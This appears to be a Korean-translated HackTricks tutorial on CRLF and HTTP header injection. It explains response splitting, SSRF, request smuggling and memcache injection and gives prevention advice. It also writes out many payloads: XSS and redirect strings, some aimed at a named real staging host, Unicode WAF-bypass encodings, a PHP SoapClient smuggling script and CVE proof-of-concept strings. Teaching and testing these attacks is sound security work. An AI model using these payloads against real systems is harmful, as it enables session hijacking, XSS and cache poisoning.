CRLF (%0D%0A) Injection

Tip

AWS ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°:HackTricks Training AWS Red Team Expert (ARTE)
GCP ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training GCP Red Team Expert (GRTE) Azure ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks μ§€μ›ν•˜κΈ°

CRLF

캐리지 리턴(CR)κ³Ό 라인 ν”Όλ“œ(LF)λŠ” ν•¨κ»˜ CRLF둜 μ•Œλ €μ Έ 있으며, HTTP ν”„λ‘œν† μ½œμ—μ„œ μ€„μ˜ λμ΄λ‚˜ μƒˆλ‘œμš΄ μ€„μ˜ μ‹œμž‘μ„ λ‚˜νƒ€λ‚΄κΈ° μœ„ν•΄ μ‚¬μš©λ˜λŠ” 특수 문자 μ‹œν€€μŠ€μž…λ‹ˆλ‹€. μ›Ή μ„œλ²„μ™€ λΈŒλΌμš°μ €λŠ” HTTP 헀더와 응닡 본문을 κ΅¬λΆ„ν•˜κΈ° μœ„ν•΄ CRLFλ₯Ό μ‚¬μš©ν•©λ‹ˆλ‹€. μ΄λŸ¬ν•œ λ¬ΈμžλŠ” Apache 및 Microsoft IIS와 같은 λ‹€μ–‘ν•œ μ›Ή μ„œλ²„ μœ ν˜•μ—μ„œ HTTP/1.1 톡신에 보편적으둜 μ‚¬μš©λ©λ‹ˆλ‹€.

CRLF Injection Vulnerability

CRLF μΈμ μ…˜μ€ μ‚¬μš©μž 제곡 μž…λ ₯에 CR 및 LF 문자λ₯Ό μ‚½μž…ν•˜λŠ” 것을 ν¬ν•¨ν•©λ‹ˆλ‹€. 이 μž‘μ—…μ€ μ„œλ²„, μ• ν”Œλ¦¬μΌ€μ΄μ…˜ λ˜λŠ” μ‚¬μš©μžκ°€ μ‚½μž…λœ μ‹œν€€μŠ€λ₯Ό ν•˜λ‚˜μ˜ μ‘λ‹΅μ˜ 끝과 λ‹€λ₯Έ μ‘λ‹΅μ˜ μ‹œμž‘μœΌλ‘œ ν•΄μ„ν•˜λ„λ‘ μ˜€λ„ν•©λ‹ˆλ‹€. μ΄λŸ¬ν•œ λ¬ΈμžλŠ” 본질적으둜 ν•΄λ‘­μ§€ μ•Šμ§€λ§Œ, 잘λͺ» μ‚¬μš©λ  경우 HTTP 응닡 λΆ„ν•  및 기타 μ•…μ˜μ μΈ ν™œλ™μœΌλ‘œ μ΄μ–΄μ§ˆ 수 μžˆμŠ΅λ‹ˆλ‹€.

Example: CRLF Injection in a Log File

Example from here

관리 νŒ¨λ„μ˜ 둜그 파일이 IP - Time - Visited Path ν˜•μ‹μ„ λ”°λ₯΄λŠ” 경우λ₯Ό κ³ λ €ν•΄ λ³΄μ‹­μ‹œμ˜€. 일반적인 ν•­λͺ©μ€ λ‹€μŒκ³Ό 같을 수 μžˆμŠ΅λ‹ˆλ‹€:

123.123.123.123 - 08:15 - /index.php?page=home

κ³΅κ²©μžλŠ” CRLF μ£Όμž…μ„ μ΄μš©ν•˜μ—¬ 이 둜그λ₯Ό μ‘°μž‘ν•  수 μžˆμŠ΅λ‹ˆλ‹€. HTTP μš”μ²­μ— CRLF 문자λ₯Ό μ£Όμž…ν•¨μœΌλ‘œμ¨, κ³΅κ²©μžλŠ” 좜λ ₯ μŠ€νŠΈλ¦Όμ„ λ³€κ²½ν•˜κ³  둜그 ν•­λͺ©μ„ μ‘°μž‘ν•  수 μžˆμŠ΅λ‹ˆλ‹€. 예λ₯Ό λ“€μ–΄, μ£Όμž…λœ μ‹œν€€μŠ€λŠ” 둜그 ν•­λͺ©μ„ λ‹€μŒκ³Ό 같이 λ³€ν˜•μ‹œν‚¬ 수 μžˆμŠ΅λ‹ˆλ‹€:

/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit

μ—¬κΈ°μ„œ %0d와 %0aλŠ” CRκ³Ό LF의 URL 인코딩 ν˜•νƒœλ₯Ό λ‚˜νƒ€λƒ…λ‹ˆλ‹€. 곡격 ν›„, λ‘œκ·ΈλŠ” 잘λͺ»λœ λ°©μ‹μœΌλ‘œ ν‘œμ‹œλ  κ²ƒμž…λ‹ˆλ‹€:

IP - Time - Visited Path

123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit

κ³΅κ²©μžλŠ” localhost(μ„œλ²„ ν™˜κ²½ λ‚΄μ—μ„œ 일반적으둜 μ‹ λ’°λ˜λŠ” μ—”ν‹°ν‹°)κ°€ μž‘μ—…μ„ μˆ˜ν–‰ν•œ κ²ƒμ²˜λŸΌ 보이게 ν•˜μ—¬ μ•…μ˜μ μΈ ν™œλ™μ„ μˆ¨κΉλ‹ˆλ‹€. μ„œλ²„λŠ” %0d%0a둜 μ‹œμž‘ν•˜λŠ” 쿼리의 일뢀λ₯Ό 단일 λ§€κ°œλ³€μˆ˜λ‘œ ν•΄μ„ν•˜κ³ , restrictedaction λ§€κ°œλ³€μˆ˜λŠ” λ³„λ„μ˜ μž…λ ₯으둜 νŒŒμ‹±λ©λ‹ˆλ‹€. μ‘°μž‘λœ μΏΌλ¦¬λŠ” 합법적인 관리 λͺ…령을 효과적으둜 λͺ¨λ°©ν•©λ‹ˆλ‹€: /index.php?page=home&restrictedaction=edit

HTTP Response Splitting

μ„€λͺ…

HTTP Response Splitting은 κ³΅κ²©μžκ°€ HTTP μ‘λ‹΅μ˜ ꡬ쑰λ₯Ό μ•…μš©ν•  λ•Œ λ°œμƒν•˜λŠ” λ³΄μ•ˆ μ·¨μ•½μ μž…λ‹ˆλ‹€. 이 κ΅¬μ‘°λŠ” νŠΉμ • 문자 μ‹œν€€μŠ€μΈ Carriage Return (CR)κ³Ό Line Feed (LF)λ₯Ό μ‚¬μš©ν•˜μ—¬ 헀더와 본문을 κ΅¬λΆ„ν•˜λ©°, 이λ₯Ό μ΄μΉ­ν•˜μ—¬ CRLF라고 ν•©λ‹ˆλ‹€. κ³΅κ²©μžκ°€ 응닡 헀더에 CRLF μ‹œν€€μŠ€λ₯Ό μ‚½μž…ν•˜λŠ” 데 μ„±κ³΅ν•˜λ©΄, μ΄ν›„μ˜ 응닡 λ‚΄μš©μ„ 효과적으둜 μ‘°μž‘ν•  수 μžˆμŠ΅λ‹ˆλ‹€. μ΄λŸ¬ν•œ μœ ν˜•μ˜ μ‘°μž‘μ€ μ‹¬κ°ν•œ λ³΄μ•ˆ 문제, 특히 Cross-site Scripting (XSS)으둜 μ΄μ–΄μ§ˆ 수 μžˆμŠ΅λ‹ˆλ‹€.

HTTP Response Splitting을 ν†΅ν•œ XSS

  1. μ• ν”Œλ¦¬μΌ€μ΄μ…˜μ€ λ‹€μŒκ³Ό 같은 μ‚¬μš©μž μ •μ˜ 헀더λ₯Ό μ„€μ •ν•©λ‹ˆλ‹€: X-Custom-Header: UserInput
  2. μ• ν”Œλ¦¬μΌ€μ΄μ…˜μ€ 쿼리 λ§€κ°œλ³€μˆ˜μ—μ„œ UserInput의 값을 κ°€μ Έμ˜΅λ‹ˆλ‹€. 예λ₯Ό λ“€μ–΄ β€œuser_inputβ€œμž…λ‹ˆλ‹€. μ μ ˆν•œ μž…λ ₯ 검증 및 인코딩이 μ—†λŠ” μ‹œλ‚˜λ¦¬μ˜€μ—μ„œ κ³΅κ²©μžλŠ” CRLF μ‹œν€€μŠ€μ™€ μ•…μ˜μ μΈ λ‚΄μš©μ„ ν¬ν•¨ν•˜λŠ” νŽ˜μ΄λ‘œλ“œλ₯Ό λ§Œλ“€ 수 μžˆμŠ΅λ‹ˆλ‹€.
  3. κ³΅κ²©μžλŠ” νŠΉλ³„νžˆ μ‘°μž‘λœ ’user_input’을 κ°€μ§„ URL을 λ§Œλ“­λ‹ˆλ‹€: ?user_input=Value%0d%0a%0d%0a<script>alert('XSS')</script>
  • 이 URLμ—μ„œ %0d%0a%0d%0aλŠ” CRLFCRLF의 URL μΈμ½”λ”©λœ ν˜•νƒœμž…λ‹ˆλ‹€. μ΄λŠ” μ„œλ²„λ₯Ό 속여 CRLF μ‹œν€€μŠ€λ₯Ό μ‚½μž…ν•˜κ²Œ ν•˜μ—¬ μ„œλ²„κ°€ 이후 뢀뢄을 응닡 본문으둜 μ²˜λ¦¬ν•˜κ²Œ λ§Œλ“­λ‹ˆλ‹€.
  1. μ„œλ²„λŠ” 곡격자의 μž…λ ₯을 응닡 헀더에 λ°˜μ˜ν•˜μ—¬ μ•…μ˜μ μΈ μŠ€ν¬λ¦½νŠΈκ°€ 응닡 본문의 μΌλΆ€λ‘œ λΈŒλΌμš°μ €μ— μ˜ν•΄ ν•΄μ„λ˜λŠ” μ˜λ„μΉ˜ μ•Šμ€ 응닡 ꡬ쑰λ₯Ό μ΄ˆλž˜ν•©λ‹ˆλ‹€.

λ¦¬λ””λ ‰μ…˜μœΌλ‘œ μ΄μ–΄μ§€λŠ” HTTP Response Splitting의 예

From https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62

Browser to:

/%0d%0aLocation:%20http://myweb.com

μ„œλ²„λŠ” λ‹€μŒκ³Ό 같은 ν—€λ”λ‘œ μ‘λ‹΅ν•©λ‹ˆλ‹€:

Location: http://myweb.com

λ‹€λ₯Έ 예: (좜처 https://www.acunetix.com/websitesecurity/crlf-injection/)

http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E

In URL Path

URL 경둜 내뢀에 νŽ˜μ΄λ‘œλ“œλ₯Ό μ „μ†‘ν•˜μ—¬ μ„œλ²„μ˜ 응닡을 μ œμ–΄ν•  수 μžˆμŠ΅λ‹ˆλ‹€ (μ˜ˆμ‹œλŠ” μ—¬κΈ°μ—μ„œ 확인할 수 μžˆμŠ΅λ‹ˆλ‹€):

http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E

Check more examples in:

https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md

HTTP Header Injection

HTTP Header Injection은 CRLF (Carriage Return and Line Feed) μ£Όμž…μ„ 톡해 자주 μ•…μš©λ˜λ©°, κ³΅κ²©μžκ°€ HTTP 헀더λ₯Ό μ‚½μž…ν•  수 있게 ν•©λ‹ˆλ‹€. μ΄λŠ” XSS (Cross-Site Scripting) ν•„ν„°λ‚˜ SOP (Same-Origin Policy)와 같은 λ³΄μ•ˆ λ©”μ»€λ‹ˆμ¦˜μ„ 무λ ₯ν™”ν•  수 있으며, CSRF 토큰과 같은 λ―Όκ°ν•œ 데이터에 λŒ€ν•œ 무단 μ ‘κ·Όμ΄λ‚˜ μΏ ν‚€ μ‚½μž…μ„ ν†΅ν•œ μ‚¬μš©μž μ„Έμ…˜ μ‘°μž‘μœΌλ‘œ μ΄μ–΄μ§ˆ 수 μžˆμŠ΅λ‹ˆλ‹€.

Exploiting CORS via HTTP Header Injection

κ³΅κ²©μžλŠ” HTTP 헀더λ₯Ό μ£Όμž…ν•˜μ—¬ CORS (Cross-Origin Resource Sharing)λ₯Ό ν™œμ„±ν™”ν•˜κ³ , SOP에 μ˜ν•΄ λΆ€κ³Όλœ μ œν•œμ„ μš°νšŒν•  수 μžˆμŠ΅λ‹ˆλ‹€. 이 μΉ¨ν•΄λŠ” μ•…μ˜μ μΈ 좜처의 μŠ€ν¬λ¦½νŠΈκ°€ λ‹€λ₯Έ 좜처의 λ¦¬μ†ŒμŠ€μ™€ μƒν˜Έμž‘μš©ν•  수 있게 ν•˜μ—¬, 보호된 데이터에 μ ‘κ·Όν•  수 μžˆλŠ” κ°€λŠ₯성을 μ œκ³΅ν•©λ‹ˆλ‹€.

SSRF and HTTP Request Injection via CRLF

CRLF μ£Όμž…μ€ μ™„μ „νžˆ μƒˆλ‘œμš΄ HTTP μš”μ²­μ„ μž‘μ„±ν•˜κ³  μ£Όμž…ν•˜λŠ” 데 ν™œμš©λ  수 μžˆμŠ΅λ‹ˆλ‹€. 이의 μ£Όλͺ©ν•  λ§Œν•œ μ˜ˆλŠ” PHP의 SoapClient 클래슀의 μ·¨μ•½μ μœΌλ‘œ, 특히 user_agent λ§€κ°œλ³€μˆ˜ λ‚΄μ—μ„œ λ°œμƒν•©λ‹ˆλ‹€. 이 λ§€κ°œλ³€μˆ˜λ₯Ό μ‘°μž‘ν•¨μœΌλ‘œμ¨ κ³΅κ²©μžλŠ” μΆ”κ°€ 헀더와 λ³Έλ¬Έ λ‚΄μš©μ„ μ‚½μž…ν•˜κ±°λ‚˜, 심지어 μ™„μ „νžˆ μƒˆλ‘œμš΄ HTTP μš”μ²­μ„ μ£Όμž…ν•  수 μžˆμŠ΅λ‹ˆλ‹€. μ•„λž˜λŠ” 이 μ•…μš©μ„ λ³΄μ—¬μ£ΌλŠ” PHP μ˜ˆμ œμž…λ‹ˆλ‹€:

$target = 'http://127.0.0.1:9090/test';
$post_string = 'variable=post value';
$crlf = array(
'POST /proxy HTTP/1.1',
'Host: local.host.htb',
'Cookie: PHPSESSID=[PHPSESSID]',
'Content-Type: application/x-www-form-urlencoded',
'Content-Length: '.(string)strlen($post_string),
"\r\n",
$post_string
);

$client = new SoapClient(null,
array(
'uri'=>$target,
'location'=>$target,
'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
)
);

# Put a netcat listener on port 9090
$client->__soapCall("test", []);

Header Injection to Request Smuggling

이 기술과 잠재적인 λ¬Έμ œμ— λŒ€ν•œ μžμ„Έν•œ λ‚΄μš©μ€ 원본 μ†ŒμŠ€ 확인을 μ°Έμ‘°ν•˜μ„Έμš”.

ν•„μˆ˜ 헀더λ₯Ό μ£Όμž…ν•˜μ—¬ λ°±μ—”λ“œκ°€ 초기 μš”μ²­μ— μ‘λ‹΅ν•œ ν›„ 연결을 μœ μ§€ν•˜λ„λ‘ ν•  수 μžˆμŠ΅λ‹ˆλ‹€:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1

이후 두 번째 μš”μ²­μ„ μ§€μ •ν•  수 μžˆμŠ΅λ‹ˆλ‹€. 이 μ‹œλ‚˜λ¦¬μ˜€λŠ” 일반적으둜 HTTP request smugglingκ³Ό 관련이 있으며, μ΄λŠ” μ„œλ²„κ°€ μ£Όμž… ν›„ μΆ”κ°€ν•œ ν—€λ”λ‚˜ λ³Έλ¬Έ μš”μ†Œκ°€ λ‹€μ–‘ν•œ λ³΄μ•ˆ 취약점을 μ΄ˆλž˜ν•  수 μžˆλŠ” κΈ°μˆ μž…λ‹ˆλ‹€.

μ•…μš©:

  1. μ•…μ˜μ μΈ 접두사 μ£Όμž…: 이 방법은 μ•…μ˜μ μΈ 접두사λ₯Ό μ§€μ •ν•˜μ—¬ λ‹€μŒ μ‚¬μš©μžμ˜ μš”μ²­μ΄λ‚˜ μ›Ή μΊμ‹œλ₯Ό μ˜€μ—Όμ‹œν‚€λŠ” κ²ƒμž…λ‹ˆλ‹€. 이의 μ˜ˆλŠ” λ‹€μŒκ³Ό κ°™μŠ΅λ‹ˆλ‹€:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1

  1. 응닡 큐 μ˜€μ—Όμ„ μœ„ν•œ 접두사 λ§Œλ“€κΈ°: 이 접근법은 ν›„ν–‰ μ“°λ ˆκΈ°μ™€ 결합될 λ•Œ μ™„μ „ν•œ 두 번째 μš”μ²­μ„ ν˜•μ„±ν•˜λŠ” 접두사λ₯Ό λ§Œλ“œλŠ” κ²ƒμž…λ‹ˆλ‹€. μ΄λŠ” 응닡 큐 μ˜€μ—Όμ„ μœ λ°œν•  수 μžˆμŠ΅λ‹ˆλ‹€. μ˜ˆμ‹œλŠ” λ‹€μŒκ³Ό κ°™μŠ΅λ‹ˆλ‹€:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1

Memcache μ£Όμž…

MemcacheλŠ” λͺ…ν™•ν•œ ν…μŠ€νŠΈ ν”„λ‘œν† μ½œμ„ μ‚¬μš©ν•˜λŠ” ν‚€-κ°’ μ €μž₯μ†Œμž…λ‹ˆλ‹€. μžμ„Έν•œ λ‚΄μš©μ€ λ‹€μŒμ„ μ°Έμ‘°ν•˜μ‹­μ‹œμ˜€:

11211 - Pentesting Memcache

전체 μ •λ³΄λŠ” 원본 μž‘μ„±λ¬Ό 을 μ½μ–΄λ³΄μ‹­μ‹œμ˜€.

ν”Œλž«νΌμ΄ HTTP μš”μ²­μ—μ„œ 데이터λ₯Ό 가져와 이λ₯Ό μ •ν™”ν•˜μ§€ μ•Šκ³  memcache μ„œλ²„μ— μš”μ²­μ„ μˆ˜ν–‰ν•˜λŠ” 경우, κ³΅κ²©μžλŠ” 이 λ™μž‘μ„ μ•…μš©ν•˜μ—¬ μƒˆλ‘œμš΄ memcache λͺ…령을 μ£Όμž…ν•  수 μžˆμŠ΅λ‹ˆλ‹€.

예λ₯Ό λ“€μ–΄, μ›λž˜ 발견된 μ·¨μ•½μ μ—μ„œλŠ” μΊμ‹œ ν‚€κ°€ μ‚¬μš©μžμ˜ μ—°κ²° IP와 포트λ₯Ό λ°˜ν™˜ν•˜λŠ” 데 μ‚¬μš©λ˜μ—ˆμœΌλ©°, κ³΅κ²©μžλŠ” memcache λͺ…령을 μ£Όμž…ν•˜μ—¬ μΊμ‹œλ₯Ό μ˜€μ—Όμ‹œμΌœ ν”Όν•΄μžμ˜ 세뢀정보(μ‚¬μš©μž 이름 및 λΉ„λ°€λ²ˆν˜Έ 포함)λ₯Ό 곡격자 μ„œλ²„λ‘œ 전솑할 수 μžˆμ—ˆμŠ΅λ‹ˆλ‹€:

https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/ba72cd16-2ca0-447b-aa70-5cde302a0b88/body-578d9f9f-1977-4e34-841c-ad870492328f_10.png?w=1322&h=178&auto=format&fit=crop

λ˜ν•œ, μ—°κ΅¬μžλ“€μ€ κ³΅κ²©μžκ°€ μ•Œμ§€ λͺ»ν•˜λŠ” μ‚¬μš©μžμ˜ μ΄λ©”μΌλ‘œ 곡격자의 IP와 포트λ₯Ό μ „μ†‘ν•˜κΈ° μœ„ν•΄ memcache 응닡을 비동기화할 수 μžˆλ‹€λŠ” 것을 λ°œκ²¬ν–ˆμŠ΅λ‹ˆλ‹€:

https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/c6c1f3c4-d244-4bd9-93f7-2c88f139acfa/body-3f9ceeb9-3d6b-4867-a23f-e0e50a46a2e9_14.png?w=1322&h=506&auto=format&fit=crop

μ›Ή μ• ν”Œλ¦¬μΌ€μ΄μ…˜μ—μ„œ CRLF / HTTP 헀더 μ£Όμž… λ°©μ§€ 방법

μ›Ή μ• ν”Œλ¦¬μΌ€μ΄μ…˜μ—μ„œ CRLF(캐리지 리턴 및 라인 ν”Όλ“œ) λ˜λŠ” HTTP 헀더 μ£Όμž…μ˜ μœ„ν—˜μ„ μ™„ν™”ν•˜κΈ° μœ„ν•΄ λ‹€μŒ μ „λž΅μ΄ ꢌμž₯λ©λ‹ˆλ‹€:

  1. 응닡 헀더에 직접 μ‚¬μš©μž μž…λ ₯ ν”Όν•˜κΈ°: κ°€μž₯ μ•ˆμ „ν•œ 접근법은 μ‚¬μš©μž 제곡 μž…λ ₯을 응닡 헀더에 직접 ν¬ν•¨ν•˜μ§€ μ•ŠλŠ” κ²ƒμž…λ‹ˆλ‹€.
  2. 특수 문자 인코딩: 직접 μ‚¬μš©μž μž…λ ₯을 ν”Όν•  수 μ—†λŠ” 경우, CR(캐리지 리턴) 및 LF(라인 ν”Όλ“œ)와 같은 특수 문자λ₯Ό μΈμ½”λ”©ν•˜λŠ” μ „μš© ν•¨μˆ˜λ₯Ό μ‚¬μš©ν•΄μ•Ό ν•©λ‹ˆλ‹€. 이 관행은 CRLF μ£Όμž… κ°€λŠ₯성을 λ°©μ§€ν•©λ‹ˆλ‹€.
  3. ν”„λ‘œκ·Έλž˜λ° μ–Έμ–΄ μ—…λ°μ΄νŠΈ: μ›Ή μ• ν”Œλ¦¬μΌ€μ΄μ…˜μ—μ„œ μ‚¬μš©ν•˜λŠ” ν”„λ‘œκ·Έλž˜λ° μ–Έμ–΄λ₯Ό μ •κΈ°μ μœΌλ‘œ μ΅œμ‹  λ²„μ „μœΌλ‘œ μ—…λ°μ΄νŠΈν•˜μ‹­μ‹œμ˜€. HTTP 헀더λ₯Ό μ„€μ •ν•˜λŠ” ν•¨μˆ˜ λ‚΄μ—μ„œ CR 및 LF 문자의 μ£Όμž…μ„ 본질적으둜 ν—ˆμš©ν•˜μ§€ μ•ŠλŠ” 버전을 μ„ νƒν•˜μ‹­μ‹œμ˜€.

CHEATSHEET

μ—¬κΈ°μ—μ„œ μΉ˜νŠΈμ‹œνŠΈλ₯Ό ν™•μΈν•˜μ„Έμš”

1. HTTP Response Splitting
β€’ /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie)

2. CRLF chained with Open Redirect
β€’ //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2
β€’ /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2
β€’ /google.com/%2F..%0D%0AHeader-Test:test2
β€’ /%0d%0aLocation:%20http://example.com

3. CRLF Injection to XSS
β€’ /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
β€’ /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E

4. Filter Bypass
β€’ %E5%98%8A = %0A = \u560a
β€’ %E5%98%8D = %0D = \u560d
β€’ %E5%98%BE = %3E = \u563e (>)
β€’ %E5%98%BC = %3C = \u563c (<)
β€’ Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test

졜근 취약점 (2023 – 2025)

μ§€λ‚œ λͺ‡ λ…„ λ™μ•ˆ 널리 μ‚¬μš©λ˜λŠ” μ„œλ²„ 및 ν΄λΌμ΄μ–ΈνŠΈ μΈ‘ ꡬ성 μš”μ†Œμ—μ„œ μ—¬λŸ¬ κ³ μœ„ν—˜ CRLF/HTTP 헀더 μ£Όμž… 버그가 λ°œμƒν–ˆμŠ΅λ‹ˆλ‹€. 이λ₯Ό λ‘œμ»¬μ—μ„œ μž¬ν˜„ν•˜κ³  μ—°κ΅¬ν•˜λŠ” 것은 μ‹€μ œ μ„Έκ³„μ˜ μ•…μš© νŒ¨ν„΄μ„ μ΄ν•΄ν•˜λŠ” 데 ν›Œλ₯­ν•œ λ°©λ²•μž…λ‹ˆλ‹€.

연도ꡬ성 μš”μ†ŒCVE / ꢌ고근본 원인PoC ν•˜μ΄λΌμ΄νŠΈ
2024RestSharp (β‰₯110.0.0 <110.2.0)CVE-2024-45302AddHeader() 헬퍼가 CR/LFλ₯Ό μ •λ¦¬ν•˜μ§€ μ•Šμ•„ RestSharpκ°€ λ°±μ—”λ“œ μ„œλΉ„μŠ€ λ‚΄μ—μ„œ HTTP ν΄λΌμ΄μ–ΈνŠΈλ‘œ μ‚¬μš©λ  λ•Œ μ—¬λŸ¬ μš”μ²­ 헀더λ₯Ό ꡬ성할 수 있게 ν–ˆμŠ΅λ‹ˆλ‹€. λ‹€μš΄μŠ€νŠΈλ¦Ό μ‹œμŠ€ν…œμ€ SSRF λ˜λŠ” μš”μ²­ λ°€λ°˜μž…μœΌλ‘œ κ°•μ œλ  수 μžˆμŠ΅λ‹ˆλ‹€.client.AddHeader("X-Foo","bar%0d%0aHost:evil")
2024Refit (≀ 7.2.101)CVE-2024-51501μΈν„°νŽ˜μ΄μŠ€ λ©”μ„œλ“œμ˜ 헀더 속성이 μš”μ²­μ— κ·ΈλŒ€λ‘œ λ³΅μ‚¬λ˜μ—ˆμŠ΅λ‹ˆλ‹€. %0d%0aλ₯Ό μ‚½μž…ν•¨μœΌλ‘œμ¨ κ³΅κ²©μžλŠ” Refit이 μ„œλ²„ μΈ‘ μž‘μ—…μœΌλ‘œ μ‚¬μš©λ  λ•Œ μž„μ˜μ˜ 헀더 λ˜λŠ” 두 번째 μš”μ²­μ„ μΆ”κ°€ν•  수 μžˆμ—ˆμŠ΅λ‹ˆλ‹€.[Headers("X: a%0d%0aContent-Length:0%0d%0a%0d%0aGET /admin HTTP/1.1")]
2023Apache APISIX λŒ€μ‹œλ³΄λ“œGHSA-4h3j-f5x9-r6x3μ‚¬μš©μž 제곡 redirect λ§€κ°œλ³€μˆ˜κ°€ 인코딩 없이 Location: 헀더에 μ—μ½”λ˜μ–΄ μ—΄λ € μžˆλŠ” λ¦¬λ””λ ‰μ…˜ + μΊμ‹œ μ˜€μ—Όμ„ κ°€λŠ₯ν•˜κ²Œ ν–ˆμŠ΅λ‹ˆλ‹€./login?redirect=%0d%0aContent-Type:text/html%0d%0a%0d%0a<script>alert(1)</script>

μ΄λŸ¬ν•œ λ²„κ·ΈλŠ” μ• ν”Œλ¦¬μΌ€μ΄μ…˜ μˆ˜μ€€ μ½”λ“œ λ‚΄μ—μ„œ λ°œμƒν•˜λ―€λ‘œ μ€‘μš”ν•©λ‹ˆλ‹€. HTTP μš”μ²­μ„ μˆ˜ν–‰ν•˜κ±°λ‚˜ 응닡 헀더λ₯Ό μ„€μ •ν•˜λŠ” λ‚΄λΆ€ ꡬ성 μš”μ†ŒλŠ” λ°˜λ“œμ‹œ CR/LF 필터링을 μ‹œν–‰ν•΄μ•Ό ν•©λ‹ˆλ‹€.

κ³ κΈ‰ μœ λ‹ˆμ½”λ“œ / μ œμ–΄ 문자 우회

ν˜„λŒ€ WAF/리라이터 μŠ€νƒμ€ μ’…μ’… λ¦¬ν„°λŸ΄ \r/\n을 μ œκ±°ν•˜μ§€λ§Œ, λ§Žμ€ λ°±μ—”λ“œκ°€ 쀄 끝으둜 μ²˜λ¦¬ν•˜λŠ” λ‹€λ₯Έ 문자λ₯Ό μžŠμ–΄λ²„λ¦½λ‹ˆλ‹€. CRLFκ°€ 필터링될 λ•Œ μ‹œλ„ν•΄ λ³΄μ‹­μ‹œμ˜€:

  • %E2%80%A8 (U+2028 – 쀄 κ΅¬λΆ„μž)
  • %E2%80%A9 (U+2029 – 단락 κ΅¬λΆ„μž)
  • %C2%85 (U+0085 – λ‹€μŒ 쀄)

일뢀 Java, Python 및 Go ν”„λ ˆμž„μ›Œν¬λŠ” 헀더 νŒŒμ‹± 쀑에 이λ₯Ό \n으둜 λ³€ν™˜ν•©λ‹ˆλ‹€ (2023 Praetorian 연ꡬ μ°Έμ‘°). 이λ₯Ό 고전적인 νŽ˜μ΄λ‘œλ“œμ™€ κ²°ν•©ν•˜μ‹­μ‹œμ˜€:

/%0A%E2%80%A8Set-Cookie:%20admin=true

ν•„ν„°κ°€ λ¨Όμ € UTF-8을 μ •κ·œν™”ν•˜λ©΄ μ œμ–΄ λ¬Έμžκ°€ 일반 쀄 λ°”κΏˆμœΌλ‘œ λ³€ν™˜λ˜κ³  μ£Όμž…λœ 헀더가 μˆ˜μš©λ©λ‹ˆλ‹€.

쀑볡 Content-Encoding νŠΈλ¦­μ„ ν†΅ν•œ WAF 우회 (2023)

Praetorian 연ꡬ원듀은 λ˜ν•œ λ‹€μŒμ„ μ£Όμž…ν•¨μœΌλ‘œμ¨:

%0d%0aContent-Encoding:%20identity%0d%0aContent-Length:%2030%0d%0a

into a reflected header, browsers will ignore the body supplied by the server and render attacker-supplied HTML that follows, giving stored XSS even when the application’s own content is inert. Because Content-Encoding: identityλŠ” RFC 9110에 μ˜ν•΄ ν—ˆμš©λ˜λ―€λ‘œ, λ§Žμ€ λ¦¬λ²„μŠ€ ν”„λ‘μ‹œκ°€ 이λ₯Ό λ³€κ²½ν•˜μ§€ μ•Šκ³  μ „λ‹¬ν•©λ‹ˆλ‹€.

Automatic Tools

  • CRLFsuite – Go둜 μž‘μ„±λœ λΉ λ₯Έ λŠ₯동 μŠ€μΊλ„ˆμž…λ‹ˆλ‹€.
  • crlfuzz – μœ λ‹ˆμ½”λ“œ κ°œν–‰ νŽ˜μ΄λ‘œλ“œλ₯Ό μ§€μ›ν•˜λŠ” 단어 λͺ©λ‘ 기반 νΌμ €μž…λ‹ˆλ‹€.
  • crlfix – Go ν”„λ‘œκ·Έλž¨μ—μ„œ μƒμ„±λœ HTTP μš”μ²­μ„ νŒ¨μΉ˜ν•˜λŠ” 2024 μœ ν‹Έλ¦¬ν‹°λ‘œ, λ‚΄λΆ€ μ„œλΉ„μŠ€λ₯Ό ν…ŒμŠ€νŠΈν•˜κΈ° μœ„ν•΄ λ…λ¦½μ μœΌλ‘œ μ‚¬μš©ν•  수 μžˆμŠ΅λ‹ˆλ‹€.

Brute-Force Detection List

References

Tip

